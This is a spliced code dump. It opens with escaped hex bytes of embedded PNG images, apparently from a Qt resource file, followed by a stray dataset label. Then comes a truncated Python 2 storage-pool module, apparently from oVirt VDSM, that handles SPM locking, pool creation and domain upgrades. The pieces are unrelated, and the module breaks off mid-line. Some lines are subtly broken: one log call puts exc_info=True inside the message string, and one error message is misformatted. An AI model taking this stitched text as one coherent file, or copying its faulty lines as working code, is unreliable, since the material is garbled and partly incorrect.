\xec\x1b\x84\x10\x08\x01\xa2\xba\x66\x05\x2f\x4c\x9a\x49\x61\xe1\ \xa3\xb9\x40\xd1\x03\x2e\xfa\x39\x70\xae\x3d\xe5\x95\xd3\x28\x7c\ \xe4\x19\xf2\x9d\xfb\x11\x4d\x4d\xcd\xb8\x6e\x1e\xae\x5b\xc0\xc8\ \x91\x23\x32\xc6\x97\x81\x27\x81\x76\xc0\x7c\xbc\xf5\x4d\x7f\xee\ \xeb\x1b\xb2\xb4\xea\xcd\x73\xb1\x2c\x43\x18\xa6\x98\xff\xc6\xc6\ \x2c\xfc\xe8\xb1\x7a\x06\x0f\x1c\xc5\xc1\x43\xbb\xd9\xff\xd3\x6e\ \x54\x14\xa5\x9b\x8f\xb4\x34\x5b\xb6\x2d\x63\xf6\xac\x55\x99\x87\ \x53\xf3\x61\xcd\x9c\xa9\x52\x4a\xbf\xc0\x1d\x7c\xcb\x51\x2d\xcb\ \x90\x4a\x05\x48\x79\xb3\x10\x9a\x9a\xeb\xa9\xff\x71\x3b\xed\xed\ \x97\xb9\xd1\x79\x03\xad\x6c\xc4\xe1\xc3\x47\x70\xdd\x01\xfc\x7c\ \x64\x27\xa7\xcf\x1f\xc2\xcd\x77\x29\x5b\xf2\x65\x36\x24\xfb\xea\ \x6a\xc4\xd8\x31\x93\x18\x31\xac\x30\x0b\xda\xfd\x75\x25\x63\x8b\ \x26\x32\x72\x44\x11\x03\x0a\x06\xc6\x80\x28\xab\x98\x4c\x18\x42\ \x22\xe9\x91\xe8\x4a\x40\x6c\xa5\xaf\xb3\xf9\x93\xd5\x1c\x6e\xda\ \xc3\x80\x82\x7b\x70\x6c\x83\x6d\xdb\x94\x2e\xfe\x22\xe3\xa0\x08\ \x38\xd5\x23\xce\xb2\x7b\x0d\x33\x39\x29\xab\x98\x82\xe7\x79\x74\ \x25\x3d\x12\x9d\x49\x8c\xed\xa6\x1b\x57\x63\xd3\x5e\xe2\x50\x12\ \x04\x3e\x96\x94\x28\xa5\x72\x2b\xa4\xb7\xa4\x46\xb9\xfa\xf2\xca\ \x57\xf0\x7d\x1f\xdf\x0f\xf0\x93\x3e\x4a\xd9\x6c\x78\xbf\x36\x7d\ \x82\xea\xaa\x7a\x84\x50\x24\x12\x3e\x52\x1a\x66\x4c\x2d\xef\xaf\ \x8f\xdc\xd2\xc8\x96\x57\x4c\xc1\xf7\x7d\x92\x9e\x8f\xe7\xf9\x44\ \x31\x54\x57\xed\xbf\xe5\x7a\x6c\x5c\x7f\x90\xa1\xf7\x3d\xcc\xf4\ \x29\xa5\x74\x76\xfe\xdb\x5b\x0f\xb9\xed\x5b\xb6\x72\x32\x9e\xe7\ \x91\x4c\x7a\x78\x49\x0f\xdf\x0f\x79\x60\xe8\xa8\xbe\x27\xd1\x89\ \xe3\xbf\xd2\xdc\x52\xcb\x84\x67\xa7\x71\xec\xe4\x3e\x0e\x1c\xda\ \xce\xda\xca\xda\xdb\x8a\xfb\xed\xd2\x97\xb2\x63\xce\xf3\x3c\xa2\ \x58\x32\x7c\xe8\x28\x56\x2c\xff\xbc\xff\x19\x7a\xe6\xf4\x05\x3e\ \xdd\xb9\x8c\x3f\xae\x9c\xc5\x18\x1b\xcb\xb2\x90\x52\xb0\xee\xbd\ \x3a\x16\x2e\x9e\x44\x14\xc7\x44\x61\x7a\xcc\x05\x7e\x88\x31\x79\ \x7c\xb4\xae\xee\xee\x06\x34\xc0\x9c\xf9\xe3\xd0\x26\x8f\x28\x8e\ \x88\xa3\x10\x88\xbb\xbb\x63\x8c\xb4\x14\xc4\x20\xa5\x42\x6b\x9b\ \x0f\xd6\x7c\xc7\xff\x2e\xff\x01\xef\x1f\xa1\x47\xfa\x48\xeb\x29\ \x00\x00\x00\x00\x49\x45\x4e\x44\xae\x42\x60\x82\ \x00\x00\x04\x86\ \x89\ \x50\x4e\x47\x0d\x0a\x1a\x0a\x00\x00\x00\x0d\x49\x48\x44\x52\x00\ \x00\x00\x17\x00\x00\x00\x18\x08\x06\x00\x00\x00\x11\x7c\x66\x75\ \x00\x00\x00\x06\x62\x4b\x47\x44\x00\xff\x00\xff\x00\xff\xa0\xbd\ \xa7\x93\x00\x00\x00\x09\x70\x48\x59\x73\x00\x00\x0b\x13\x00\x00\ \x0b\x13\x01\x00\x9a\x9c\x18\x00\x00\x00\x07\x74\x49\x4d\x45\x07\ \xde\x08\x07\x16\x1f\x34\xbd\x02\x81\x6e\x00\x00\x04\x13\x49\x44\ \x41\x54\x48\xc7\xbd\x95\xeb\x6f\x15\x45\x18\x87\x9f\x9d\x99\xdd\ \x3d\xa7\x87\xaa\x28\xa0\xfd\x20\x31\xc6\xc4\xf8\x07\x70\x29\x06\ \xd4\x26\x46\x8d\x46\x21\x10\x12\x89\x31\x04\xd1\x14\xd4\xc6\x96\ \x60\x0f\xf7\x42\x48\x63\x10\x2a\x50\x04\x4a\x50\x30\x0a\x58\x2f\ \x08\x11\xc3\xc5\x6a\x11\x24\x42\xa9\x14\x0a\x35\x82\x20\x04\x03\ \x51\xc4\x06\xa1\xed\x39\x7b\x99\x19\x3f\x9c\x50\xdb\xd2\xd6\x5b\ \xe2\x9b\x6c\x26\xbb\x33\xf3\xcc\xef\x9d\xf9\xcd\xbb\x0e\xfd\x44\ \x63\xe3\x11\x94\x72\x31\x26\xe6\xca\xef\xbf\xd0\xda\x7a\x91\xd3\ \x67\x8f\x70\xee\x7c\x33\x0e\x0e\x42\x2a\x06\xde\x5c\xc0\xe2\x8a\ \xf7\x7a\x9d\xef\xf4\x0e\xfd\x16\xc7\x11\xb8\xae\xe2\x58\xcb\xe7\ \x34\x1f\xaf\x23\xd2\x01\xd6\x1a\xb0\x16\x63\x41\x6b\xcd\xea\x37\ \xf6\xf3\xdc\xb4\x11\x0c\x48\x0d\x64\xc5\xd2\x5d\x37\x70\x54\xcf\ \x0f\x2d\x27\x4e\x71\xe6\x6c\x23\xa7\xcf\x1e\xe2\xfc\x85\xe3\x80\ \xc1\xf3\x7c\x96\x57\x7e\x01\x40\x7a\xc1\x63\x58\x63\x31\xc6\x00\ \x90\x97\x97\xa0\xad\xa3\x95\xe7\x5f\x1c\x45\xe1\x88\x71\x4c\x79\ \x76\x66\xef\xca\x6b\x3f\x5c\xcf\xa1\xc6\xad\x04\xd1\x55\x12\x89\ \x24\xae\x52\x28\x57\x22\xa5\x64\xe1\xec\xed\x9d\xe3\x2a\x2a\xc7\ \x52\x31\x7b\x5b\xe7\xfb\xfa\x77\x2a\xf8\xf5\xd2\x45\x7e\x3c\xd7\ \xc2\x7d\xf7\x16\x52\x56\xb2\xb4\x3b\xbc\xb8\x64\x0c\xc6\xc4\x24\ \x92\x1e\x09\xdf\xc7\x75\x5d\x5c\x4f\xa1\x94\x62\xee\xcc\x8f\x6c\ \x4f\x21\x3b\x76\xad\xe5\x89\x47\x8b\xd9\xbb\xff\x63\x1e\x1c\x3d\ \x9e\x57\xca\x1f\x22\x08\x22\x8c\x76\xa8\xa9\xde\xff\x27\x3c\x3d\ \x6f\x22\xbf\xb5\xfe\x44\x32\xe9\x93\x48\xf8\x78\x9e\x8b\xe7\x7b\ \xcc\x2f\xdf\x7a\x9d\x65\xfb\x3a\xa3\x05\x95\x4f\x62\xad\xc3\xa2\ \x39\xdb\x29\x4d\x17\xd1\xd1\x9e\xc1\x73\xf3\xa9\xae\xda\x93\x1b\ \x3c\x75\x7a\x21\x9e\x2f\x49\x26\x93\x24\x7c\x0f\xdf\xcf\x2d\x90\ \x2e\xab\xed\x09\xef\xd3\x04\x5d\x63\xea\xf4\x91\xe4\xa7\x06\x21\ \x8a\x4b\x1e\xc0\x71\xc8\x6d\x83\x52\xb9\xd6\x55\x5d\xc1\x3d\xc3\ \xae\x5c\x3b\xb9\xd7\x8e\x39\x8b\x1e\xa7\x34\x5d\x84\xeb\xb9\x04\ \x51\x07\xc2\xc1\x41\x2a\x81\x52\x12\xe5\x4a\x84\x14\xcc\x9a\xf1\ \x41\xbf\xca\x4a\x8a\x37\x5e\x3f\x83\xce\xe7\xb5\xaa\xa7\xc9\x4b\ \x0e\x60\xc8\xa0\x3b\x91\xd2\xc1\x18\x8d\xd0\x3a\x42\x49\x89\x14\ \x12\xac\xed\xdc\xe7\x38\x8e\xff\x2a\x7b\xd3\x35\x9b\x74\xd9\x16\ \xa4\x54\x5c\xbd\x76\x09\xa5\x24\x5a\x47\x38\x2f\xbc\x74\x3f\x9e\ \x2f\x59\xb
codeparrot/github-code-clean
# # Copyright 2009-2011 Red Hat, Inc. # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA # # Refer to the README and COPYING files for full details of the license # import os from glob import iglob, glob import logging import time import threading import errno import uuid import codecs from contextlib import nested from functools import partial import constants import storage_mailbox import blockSD import fileSD import sd import misc from misc import Event import fileUtils from config import config from sdc import sdCache import storage_exception as se from persistentDict import DictValidator from processPool import Timeout from securable import Securable, unsecured import image from resourceFactories import IMAGE_NAMESPACE from storageConstants import STORAGE import resourceManager as rm import volume BLANK_POOL_UUID = '00000000-0000-0000-0000-000000000000' POOL_MASTER_DOMAIN = 'mastersd' MAX_POOL_DESCRIPTION_SIZE = 50 PMDK_DOMAINS = "POOL_DOMAINS" PMDK_POOL_DESCRIPTION = "POOL_DESCRIPTION" PMDK_LVER = "POOL_SPM_LVER" PMDK_SPM_ID = "POOL_SPM_ID" PMDK_MASTER_VER = "MASTER_VERSION" rmanager = rm.ResourceManager.getInstance() SPM_ACQUIRED = 'SPM' SPM_CONTEND = 'Contend' SPM_FREE = 'Free' def domainListEncoder(domDict): domains = ','.join([ '%s:%s' % (k, v) for k, v in domDict.iteritems()]) return domains def domainListDecoder(s): domList = {} if not s: return domList for domDecl in s.split(","): k, v = domDecl.split(':') domList[k.strip("'")] = v.strip("'").capitalize() return domList SP_MD_FIELDS = { # Key dec, enc PMDK_DOMAINS : (domainListDecoder, domainListEncoder), PMDK_POOL_DESCRIPTION : (str, str), # should be decode\encode utf8 PMDK_LVER : (int, str), PMDK_SPM_ID : (int, str), PMDK_MASTER_VER : (int, str) } # Calculate how many domains can be in the pool before overflowing the Metadata MAX_DOMAINS = blockSD.SD_METADATA_SIZE - blockSD.METADATA_BASE_SIZE MAX_DOMAINS -= MAX_POOL_DESCRIPTION_SIZE + sd.MAX_DOMAIN_DESCRIPTION_SIZE MAX_DOMAINS -= blockSD.PVS_METADATA_SIZE MAX_DOMAINS /= 48 class StatsThread(threading.Thread): log = logging.getLogger('Storage.StatsThread') onDomainConnectivityStateChange = Event("StatsThread.onDomainConnectivityStateChange") def __init__(self, func, sdUUID): """ StatsThread gets two arguments on instatiation: func - function to call dom - argument to pass to func() """ threading.Thread.__init__(self) self._statscache = dict(result= dict(code=200, lastCheck=0.0, delay='0', valid=True)) self._statsdelay = config.getint('irs', 'sd_health_check_delay') self._statsletrun = True self._statsfunc = func self._sdUUID = sdUUID self._domain = None def run(self): while self._statsletrun: try: if self._domain is None: self._domain = sdCache.produce(self._sdUUID) stats, code = self._statsfunc(self._domain) except se.StorageException, e: self.log.error("Unexpected error", exc_info=True) code = e.code except Exception, e: self.log.error("Unexpected error", exc_info=True) code = 200 delay = 0 if self._domain is not None: try: # This is handled seperatly because in case of this kind # of failure we don't want to print stack trace delay = self._domain.getReadDelay() except Exception, e: self.log.error("Could not figure out delay for domain `%s` (%s)", self._sdUUID, e) code = 200 if code != 0: self._domain = None finish = time.time() stats['finish'] = finish stats['result'] = dict(code=code, lastCheck=finish, delay=str(delay), valid=(code == 0)) try: if self._statscache["result"]["valid"] != stats["result"]["valid"]: self.onDomainConnectivityStateChange.emit(self._sdUUID, stats["result"]["valid"]) except: self.log.error("Could not emit domain state event", exc_info=True) self._statscache.update(stats) count = 0 while self._statsletrun and count < self._statsdelay: count += 1 time.sleep(1) self._statsfunc = None def stop(self): self._statsletrun = False def getStatsResults(self): return self._statscache.copy() class StoragePool: ''' StoragePool object should be relatively cheap to construct. It should defer any heavy lifting activities until the time it is really needed. ''' __metaclass__ = Securable log = logging.getLogger('Storage.StoragePool') storage_repository = config.get('irs', 'repository') _poolsTmpDir = config.get('irs', 'pools_data_dir') lvExtendPolicy = config.get('irs', 'vol_extend_policy') def __init__(self, spUUID, taskManager): self._domainsToUpgrade = [] self.lock = threading.Lock() self._setUnsafe() self.spUUID = str(spUUID) self.poolPath = os.path.join(self.storage_repository, self.spUUID) self.id = None self.scsiKey = None self.taskMng = taskManager self._poolFile = os.path.join(self._poolsTmpDir, self.spUUID) self.hsmMailer = None self.spmMailer = None self.masterDomain = None self.repostats = {} self.spmStarted = False self.spmRole = SPM_FREE @unsecured def getSpmRole(self): return self.spmRole @unsecured def getSpmLver(self): return self.getMetaParam(PMDK_LVER) @unsecured def getSpmStatus(self): #If this is the SPM no need to double check return self.getSpmRole(), self.getSpmLver(), self.getSpmId() def __del__(self): if len(self.repostats) > 0: threading.Thread(target=self.disconnectDomains).start() @unsecured def forceFreeSpm(self): # DO NOT USE, STUPID, HERE ONLY FOR BC # TODO: SCSI Fence the 'lastOwner' self.setMetaParams({PMDK_SPM_ID: -1, PMDK_LVER: -1}) self.spmRole = SPM_FREE def _upgradePoolDomain(self, sdUUID, isValid): # This method is called everytime the onDomainConnectivityStateChange # event is emited, this event is emited even when a domain goes INVALID # if this happens there is nothing for us to do no matter what the # domain is if not isValid: return domain = sdCache.produce(sdUUID) if sdUUID not in self._domainsToUpgrade: return self.log.debug("Preparing to upgrade domain %s", sdUUID) try: #Assumed that the domain can be attached only to one pool targetDomVersion = self.masterDomain.getVersion() except: self.log.error("Error while preparing domain `%s` upgrade", sdUUID, exc_info=True) return with rmanager.acquireResource(STORAGE, "upgrade_" + sdUUID, rm.LockType.exclusive): with rmanager.acquireResource(STORAGE, sdUUID, rm.LockType.exclusive): if sdUUID not in self._domainsToUpgrade: return # This can never be the master # Non data domain should not be upgraded domClass = domain.getDomainClass() if domClass != sd.DATA_DOMAIN: self.log.debug("Domain `%s` is not a data domain it is an %s domain, not upgrading", sdUUID, domClass) else: domain.invalidateMetadata() domVersion = domain.getVersion() if domVersion > targetDomVersion: self.log.critical("Found a domain with a more advanced version then the master domain") elif domVersion < targetDomVersion: try: domain.upgrade(targetDomVersion) except: self.log.warn("Could not upgrade domain `%s`", sdUUID, exc_info=True) return self._domainsToUpgrade.remove(sdUUID) if len(self._domainsToUpgrade) == 0: self.log.debug("All domains are upgraded, unregistering from state change event") try: StatsThread.onDomainConnectivityStateChange.unregister(self._upgradePoolDomain) except KeyError: pass @unsecured def startSpm(self, prevID, prevLVER, scsiFencing, maxHostID, expectedDomVersion=None): """ Starts the SPM functionality. :param spUUID: The UUID of the storage pool you want to manage with the SPM. :type spUUID: UUID :param prevID: obsolete :param prevLVER: obsolete :param scsiFencing: Should there be scsi fencing.? :type scsiFencing: bool :param maxHostID: The maximun ID of the host.? :type maxHostID: int .. note:: if the SPM is already started the function will fail silently. :raises: :exc:`storage_exception.OperationInProgress` if called during an allready running connection attempt. (makes the fact that it fails silently does not matter very much). """ with self.lock: if self.spmRole == SPM_ACQUIRED: return True # Since we added the lock the following should NEVER happen if self.spmRole == SPM_CONTEND: raise se.OperationInProgress("spm start %s" % self.spUUID) self.updateMonitoringThreads() self.invalidateMetadata() oldlver = self.getSpmLver() oldid = self.getSpmId() masterDomVersion = self.getVersion() # If no specific domain version was specified use current master domain version if expectedDomVersion is None: expectedDomVersion = masterDomVersion if masterDomVersion > expectedDomVersion: raise se.CurrentVersionTooAdvancedError(self.masterDomain.sdUUID, curVer=masterDomVersion, expVer=expectedDomVersion) if int(oldlver) != int(prevLVER) or int(oldid) != int(prevID): self.log.info("expected previd:%s lver:%s got request for previd:%s lver:%s" % (oldid, oldlver, prevID, prevLVER)) # Acquire spm lock try: self.spmRole = SPM_CONTEND self.acquireClusterLock() except: self.spmRole = SPM_FREE raise self.log.debug("spm lock acquired successfully") try: self.lver = int(oldlver) + 1 self.invalidateMetadata() self.setMetaParams({PMDK_LVER: self.lver, PMDK_SPM_ID: self.id}, __securityOverride=True) self._maxHostID = maxHostID # Upgrade the master domain now if needed self._upgradePool(expectedDomVersion, __securityOverride=True) self.masterDomain.mountMaster() self.masterDomain.createMasterTree(log=True) self.tasksDir = os.path.join(self.poolPath, POOL_MASTER_DOMAIN, sd.MASTER_FS_DIR, sd.TASKS_DIR) try: # Make sure backup domain is active self.checkBackupDomain(__securityOverride=True) except Exception, e: self.log.error("Backup domain validation failed, exc_info=True") self.taskMng.loadDumpedTasks(self.tasksDir) self.spmStarted = True self.spmRole = SPM_ACQUIRED # Once setSafe completes we are running as SPM self._setSafe() # Mailbox issues SPM commands, therefore we start it AFTER spm commands are allowed to run to prevent # a race between the mailbox and the "self._setSafe() call" # Create mailbox if SAN pool (currently not needed on nas) # FIXME: Once pool contains mixed type domains (NFS + Block) the mailbox # will have to be created if there is an active block domain in the pool # or once one is activated #FIXME : Use a system wide grouping mechanizm sanPool = self.masterDomain.getStorageType() in sd.BLOCK_DOMAIN_TYPES # Check if pool is SAN or NAS if sanPool and self.lvExtendPolicy == "ON": self.spmMailer = storage_mailbox.SPM_MailMonitor(self, maxHostID) self.spmMailer.registerMessageType('xtnd', partial(storage_mailbox.SPM_Extend_Message, self)) else: self.spmMailer = None # Restore tasks is last because tasks are spm ops (spm has to be started) self.taskMng.recoverDumpedTasks() self.log.debug("ended.") except Exception, e: self.log.error("Unexpected error", exc_info=True) self.log.error("failed: %s" % str(e)) self.stopSpm(force=True, __securityOverride=True) raise @unsecured def _shutDownUpgrade(self): with rmanager.acquireResource(STORAGE, "upgrade_" + self.spUUID, rm.LockType.exclusive): domains = self._domainsToUpgrade try: StatsThread.onDomainConnectivityStateChange.unregister(self._upgradePoolDomain) except KeyError: pass requests = [] def cancelUpgrade(sdUUID, req, res): try: self._domainsToUpgrade.remove(sdUUID) except ValueError: pass res.release() for sdUUID in domains: req = rmanager.registerResource(STORAGE, "upgrade_" + sdUUID, rm.LockType.exclusive, partial(cancelUpgrade, sdUUID)) requests.append(req) for req in requests: req.wait() @classmethod def __cleanupMasterMount(cls): """ Check whether there are any dangling master file systems still mounted and unmount them if found. """ masters = os.path.join(cls.storage_repository, sd.DOMAIN_MNT_POINT, sd.BLOCKSD_DIR, "*", sd.MASTER_FS_DIR) for master in glob(masters): if fileUtils.isMounted(mountPoint=master): cls.log.debug("unmounting %s", master) try: blockSD.BlockStorageDomain.doUnmountMaster(master) except se.StorageDomainMasterUnmountError, e: misc.panic("unmount %s failed - %s" % (master, e)) else: cls.log.debug("master `%s` is not mounted, skipping", master) def stopSpm(self, force=False): with self.lock: if not force and self.getSpmRole() == SPM_FREE: return True self._shutDownUpgrade() self._setUnsafe() stopFailed = False try: self.__cleanupMasterMount() except: # If unmounting fails the vdsm panics. stopFailed = True try: if self.spmMailer: self.spmMailer.stop() except: # Here we are just begin polite. # SPM will also clean this on start up. pass if not stopFailed: try: self.setMetaParam(PMDK_SPM_ID, -1) except: pass # The system can handle this inconsistency try: self.releaseClusterLock() except: stopFailed = True if stopFailed: misc.panic("Unrecoverable errors during SPM stop process.") self.spmStarted = False self.spmRole = SPM_FREE def _upgradePool(self, targetDomVersion): with rmanager.acquireResource(STORAGE, "upgrade_" + self.spUUID, rm.LockType.exclusive): if len(self._domainsToUpgrade) > 0: raise se.PoolUpgradeInProgress(self.spUUID) sd.validateDomainVersion(targetDomVersion) self.log.info("Trying to upgrade master domain `%s`", self.masterDomain.sdUUID) with rmanager.acquireResource(STORAGE, self.masterDomain.sdUUID, rm.LockType.exclusive): self.masterDomain.upgrade(targetDomVersion) self.log.debug("Marking all domains for upgrade") self._domainsToUpgrade = self.getDomains(activeOnly=True).keys() try: self._domainsToUpgrade.remove(self.masterDomain.sdUUID) except ValueError: pass self.log.debug("Registering with state change event") StatsThread.onDomainConnectivityStateChange.register(self._upgradePoolDomain) self.log.debug("Running initial domain upgrade threads") for sdUUID in self._domainsToUpgrade: threading.Thread(target=self._upgradePoolDomain, args=(sdUUID, True), kwargs={"__securityOverride": True}).start() @unsecured def __createMailboxMonitor(self): # Currently mailbox is not needed for non block device sd's if self.hsmMailer: return if isinstance(self.masterDomain, blockSD.BlockStorageDomain) and self.lvExtendPolicy == "ON": self.hsmMailer = storage_mailbox.HSM_Mailbox(self.id, self.spUUID) @unsecured def __cleanupDomains(self, domlist, msdUUID, masterVersion): """ Clean up domains after failed Storage Pool creation domlist - comma separated list of sdUUIDs """ # Go through all the domains and detach them from the pool # Since something went wrong (otherwise why would we be cleaning # the mess up?) do not expect all the domains to exist domains = [sdCache.produce(d) for d in domlist] for d in domains: try: self.detachSD(d, msdUUID, masterVersion) except Exception: self.log.error("Unexpected error", exc_info=True) self.refresh() @unsecured def getMasterVersion(self): return self.getMetaParam(PMDK_MASTER_VER) @unsecured def acquireClusterLock(self): self.masterDomain.acquireClusterLock(self.id) @unsecured def releaseClusterLock(self): self.masterDomain.releaseClusterLock() @unsecured def validateAttachedDomain(self, sdUUID): domList = self.getDomains() if sdUUID not in domList: raise se.StorageDomainNotInPool(self.spUUID, sdUUID) # Avoid handle domains if not owned by pool dom = sdCache.produce(sdUUID) pools = dom.getPools() if self.spUUID not in pools: raise se.StorageDomainNotInPool(self.spUUID, sdUUID) @unsecured def validatePoolMVerHigher(self, masterVersion): """ Make sure the masterVersion higher than that of the pool. :param masterVersion: the master version you want to validate :type masterVersion: int :raises: :exc:`storage_exception.StoragePoolWrongMasterVersion` exception if masterVersion doesn't follow the rules """ mver = self.getMasterVersion() if not int(masterVersion) > mver: raise se.StoragePoolWrongMaster(self.spUUID, self.masterDomain.sdUUID) @unsecured def getMaximumSupportedDomains(self): msdInfo = self.masterDomain.getInfo() msdType = sd.name2type(msdInfo["type"]) msdVersion = int(msdInfo["version"]) if msdType in sd.BLOCK_DOMAIN_TYPES and msdVersion in blockSD.VERS_METADATA_LV: return MAX_DOMAINS else: return config.getint("irs", "maximum_domains_in_pool") @unsecured def create(self, poolName, msdUUID, domList, masterVersion, safeLease): """ Create new storage pool with single/multiple image data domain. The command will create new storage pool meta-data attach each storage domain to that storage pool. At least one data (images) domain must be provided 'poolName' - storage pool name 'msdUUID' - master domain of this pool (one of domList) 'domList' - list of domains (i.e sdUUID,sdUUID,...,sdUUID) """ self.log.info("spUUID=%s poolName=%s master_sd=%s " "domList=%s masterVersion=%s %s", self.spUUID, poolName, msdUUID, domList, masterVersion, str(safeLease)) if msdUUID not in domList: raise se.InvalidParameterException("masterDomain", msdUUID) # Check the domains before pool creation for dom in domList: try: domain = sdCache.produce(dom) domain.validate() except se.StorageException: self.log.error("Unexpected error", exc_info=True) raise se.StorageDomainAccessError(dom) # Validate unattached domains if not domain.isISO(): domain.invalidateMetadata() spUUIDs = domain.getPools() # Non ISO domains have only 1 pool if len(spUUIDs) > 0: raise se.StorageDomainAlreadyAttached(spUUIDs[0], dom) fileUtils.createdir(self.poolPath) try: # Seeing as we are just creating the pool then the host doesn't # have an assigned Id for this pool. When locking the domain we must use an Id self.id = 1000 # Master domain is unattached and all changes to unattached domains # must be performed under storage lock msd = sdCache.produce(msdUUID) msd.changeLeaseParams(safeLease) msd.acquireClusterLock(self.id) except: self.id = None raise try: try: # Mark 'master' domain # We should do it before actually attaching this domain to the pool. # During 'master' marking we create pool metadata and each attached # domain should register there self.createMaster(poolName, msd, masterVersion, safeLease) self.__rebuild(msdUUID=msdUUID, masterVersion=masterVersion) # Attach storage domains to the storage pool # Since we are creating the pool then attach is done from the hsm and not the spm # therefore we must manually take the master domain lock # TBD: create will receive only master domain and further attaches should be done # under SPM # Master domain was already attached (in createMaster), # no need to reattach for sdUUID in domList: # No need to attach the master if sdUUID == msdUUID: continue self.attachSD(sdUUID) except Exception: self.log.error("Create domain canceled due to an unexpected error", exc_info=True) try: fileUtils.cleanupdir(self.poolPath) self.__cleanupDomains(domList, msdUUID, masterVersion) except: self.log.error("Cleanup failed due to an unexpected error", exc_info=True) raise finally: msd.releaseClusterLock() self.id = None self.disconnectDomains() return True @unsecured def _saveReconnectInformation(self, hostID, scsiKey, msdUUID, masterVersion): pers = ["id=%d\n" % hostID] pers.append("scsiKey=%s\n" % scsiKey) pers.append("sdUUID=%s\n" % msdUUID) pers.append("version=%s\n" % masterVersion) with open(self._poolFile, "w") as f: f.writelines(pers) @unsecured def connect(self, hostID, scsiKey, msdUUID, masterVersion): """ Connect a Host to a specific storage pool. Caller must acquire resource Storage.spUUID so that this method would never be called twice concurrently. """ self.log.info("Connect host #%s to the storage pool %s with master domain: %s (ver = %s)" % (hostID, self.spUUID, msdUUID, masterVersion)) if not os.path.exists(self._poolsTmpDir): msg = ("StoragePoolConnectionError for hostId: %s, on poolId: %s," + " Pools temp data dir: %s does not exist" % (hostID, self.spUUID, self._poolsTmpDir)) self.log.error(msg) msg = "Pools temp data dir: %s does not exist" % (self._poolsTmpDir) raise se.StoragePoolConnectionError(msg) if os.path.exists(self._poolFile): os.unlink(self._poolFile) self._saveReconnectInformation(hostID, scsiKey, msdUUID, masterVersion) self.id = hostID self.scsiKey = scsiKey # Make sure SDCache doesn't have stale data (it can be in case of FC) sdCache.refresh() # Rebuild whole Pool self.__rebuild(msdUUID=msdUUID, masterVersion=masterVersion) self.__createMailboxMonitor() return True @unsecured def disconnectDomains(self): for sdUUID in self.repostats.keys(): self.stopRepoStats(sdUUID) return True @unsecured def disconnect(self): """ Disconnect a Host from specific storage pool. Caller must acquire resource Storage.spUUID so that this method would never be called twice concurrently. """ self.log.info("Disconnect from the storage pool %s", self.spUUID) self.id = None self.scsiKey = None if os.path.exists(self._poolFile): os.unlink(self._poolFile) if self.hsmMailer: self.hsmMailer.stop() self.hsmMailer = None # Remove all links if os.path.exists(self.poolPath): fileUtils.cleanupdir(self.poolPath) self.disconnectDomains() return True @unsecured def getPoolParams(self): file = open(self._poolFile, "r") for line in file: pair = line.strip().split("=") if len(pair) == 2: if pair[0] == "id": hostId = int(pair[1]) elif pair[0] == "scsiKey": scsiKey = pair[1] elif pair[0] == "sdUUID": msdUUID = pair[1] elif pair[0] == "version": masterVersion = pair[1] file.close() return hostId, scsiKey, msdUUID, masterVersion @unsecured def createMaster(self, poolName, domain, masterVersion, leaseParams): """ Create a fresh master file system directory tree """ # THIS METHOD MUST BE RUN UNDER DOMAIN STORAGE LOCK self.log.info("setting master domain for spUUID %s on sdUUID=%s", self.spUUID, domain.sdUUID) futurePoolMD = self._getPoolMD(domain) with futurePoolMD.transaction(): domain.changeLeaseParams(leaseParams) for spUUID in domain.getPools(): if spUUID != self.spUUID: self.log.warn("Force detaching from pool `%s` because of reconstruct master", spUUID) domain.detach(spUUID) domain.attach(self.spUUID) domain.changeRole(sd.MASTER_DOMAIN) futurePoolMD.update({ PMDK_SPM_ID: -1, PMDK_LVER: -1, PMDK_MASTER_VER: masterVersion, PMDK_POOL_DESCRIPTION: poolName, PMDK_DOMAINS: {domain.sdUUID: sd.DOM_ACTIVE_STATUS}}) @unsecured def reconstructMaster(self, poolName, msdUUID, domDict, masterVersion, safeLease): self.log.info("spUUID=%s poolName=%s" " master_sd=%s domDict=%s masterVersion=%s " "leaseparams=(%s)", self.spUUID, poolName, msdUUID, domDict, masterVersion, str(safeLease)) if msdUUID not in domDict: raise se.InvalidParameterException("masterDomain", msdUUID) try: # Seeing as we are just creating the pool then the host doesn't # have an assigned Id for this pool. When locking the domain we must use an Id self.id = 1000 # Master domain is unattached and all changes to unattached domains # must be performed under storage lock futureMaster = sdCache.produce(msdUUID) futureMaster.changeLeaseParams(safeLease) futureMaster.acquireClusterLock(self.id) try: self.createMaster(poolName, futureMaster, masterVersion, safeLease) self.refresh(msdUUID=msdUUID, masterVersion=masterVersion) # TBD: Run full attachSD? domains = self.getDomains() for sdUUID in domDict: domains[sdUUID] = domDict[sdUUID].capitalize() # Add domain to domain list in pool metadata self.setMetaParam(PMDK_DOMAINS, domains, __securityOverride=True) self.log.info("Set storage pool domains: %s", domains) finally: # We need stop all repoStats threads that were started during reconstructMaster self.disconnectDomains() futureMaster.releaseClusterLock() finally: self.id = None @unsecured def copyPoolMD(self, prevMd, newMD): prevPoolMD = self._getPoolMD(prevMd) domains = prevPoolMD[PMDK_DOMAINS] pool_descr = prevPoolMD[PMDK_POOL_DESCRIPTION] lver = prevPoolMD[PMDK_LVER] spmId = prevPoolMD[PMDK_SPM_ID] # This is actually domain metadata, But I can't change this because of # backward compatibility leaseParams = prevMd.getLeaseParams() # Now insert pool metadata into new mastersd metadata newPoolMD = self._getPoolMD(newMD) with newPoolMD.transaction(): newPoolMD.update({PMDK_DOMAINS: domains, PMDK_POOL_DESCRIPTION: pool_descr, PMDK_LVER: lver, PMDK_SPM_ID: spmId}) newMD.changeLeaseParams(leaseParams) @unsecured def __masterMigrate(self, sdUUID, msdUUID, masterVersion): curmsd = sdCache.produce(sdUUID) newmsd = sdCache.produce(msdUUID) self._refreshDomainLinks(newmsd) curmsd.invalidateMetadata() newmsd.upgrade(curmsd.getVersion()) # new 'master' should be in 'active' status domList = self.getDomains() if msdUUID not in domList: raise se.StorageDomainNotInPool(self.spUUID, msdUUID) if domList[msdUUID] != sd.DOM_ACTIVE_STATUS: raise se.StorageDomainNotActive(msdUUID) if newmsd.isISO(): raise se.IsoCannotBeMasterDomain(msdUUID) if newmsd.isBackup(): raise 